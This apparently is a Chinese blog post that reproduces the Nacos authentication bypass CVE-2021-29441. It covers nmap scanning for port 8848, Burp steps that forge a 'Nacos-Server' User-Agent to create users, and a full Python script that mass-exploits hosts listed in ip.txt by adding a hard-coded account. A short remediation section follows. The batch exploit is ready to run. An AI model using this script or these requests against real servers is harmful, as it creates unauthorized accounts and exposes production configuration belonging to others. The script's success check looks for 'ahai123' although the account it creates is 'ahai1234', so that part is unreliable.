Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441)
漏洞名称:
Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441)
简介:
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
影响版本:
2.1.0之前(有验证过,2.0.4仍可以被利用)
复现
1.用工具扫描nacos端口
fscan扫描
nmap扫描
nmap -sT 192.168.35.0/24 -p 8848 --open
2.打开页面
3.修改url
/nacos/v1/auth/users?pageNo=1&pageSize=100
4.打开burp抓包并篡改请求
a.监听8080本机8080端口
b.浏览器修改代理,代理为本机8080端口(火狐为例)
c.开始抓包
d.用浏览器访问地址
打开http://your-ip:8848/nacos/v1/auth/users
e.看到请求报文
f.修改请求报文
具体修改步骤如下:
1.修改请求方式,GET改成POST
2.User-Agent修改成Nacos-Server:
3.添加要创建的用户和密码
username=demo&password=demo
4.修改完请求后,按go发送请求
访问http://your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=100
可以看到自己创建的用户名和密码已创建成功
5.用咱们创建的用户进行登录
到这里我们就已经完成了漏洞复现全过程,获取所有的配置信息。造成生产配置泄漏。
思考:
如果能用脚本批量去扫描并利用漏洞注入新用户,那不是最直接有效的证明漏洞的存在,所以就在网上找了大佬的poc,根据自己需求改起来哈哈哈
nacos.py
# coding=utf-8
import time
import requests
import urllib3
urllib3.disable_warnings()
headers = {
# 'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
'User-Agent': "Nacos-Server",
"Accept-Encoding": "gzip, deflate",
}
def nacos(ip):
try:
check_url = '/nacos/v1/auth/users'
exp_data = {
"username": "ahai1234",
"password": "ahai1234",
}
check_url2 = ip + '/nacos/v1/auth/users?pageNo=1&pageSize=100'
poc_url = ip + check_url
response = requests.post(url=poc_url, headers=headers, timeout=10, verify=False, data=exp_data)
res_data = response.text
#print(res_data)
if "already exist!" in res_data:
print('用户名ahai123已经存在', check_url2)
elif "create user ok!" in res_data:
res = requests.get(url=check_url2, headers=headers, timeout=10, verify=False)
if "ahai123" in res.text:
print(ip)
print("添加用户名成功")
else:
print(ip)
print("漏洞利用失败")
except:
print(ip)
print("连接超时!")
def get_url():
with open('ip.txt', 'r') as f:
ips = f.readlines()
for ip in ips:
ip = ip.strip()
#print(ip)
if ip[0:5] == 'https':
ip = ip
elif ip[0:4] == 'http':
ip = ip
else:
ip = 'http://' + ip
nacos(ip)
if __name__ == "__main__":
get_url()
ip.txt为之前扫描出来的有nacos的ip地址
可以看出有些nacos还是会利用失败
测试中发现有部分nacos曾经被攻击过,网络安全堪忧。。。。。。。
修复步骤(1和2都必须执行)
1.升级到最新版本的nacos
2.修改配置文件application.properties
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
3.代码升级(转载,待验证)
分别在 spring.cloud.nacos.discovery和 spring.cloud.nacos.config中添加你安装nacos的账号和密码
修改nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value值为自定义值
验证结果
实测用最新的2.1.0,需修改配置后,完全规避该漏洞。
2.0.4及以前的,就算改配置,漏洞也还是可以利用。
因此升级版本是必须的。
参考:
https://www.jianshu.com/p/e18e3e6fd6d4
http://events.jianshu.io/p/551e36705842
https://blog.csdn.net/majunssz/article/details/124337237
https://github.com/alibaba/nacos/releases
https://blog.csdn.net/Hoopy_Hoopy/article/details/120283270?spm=1001.2014.3001.5502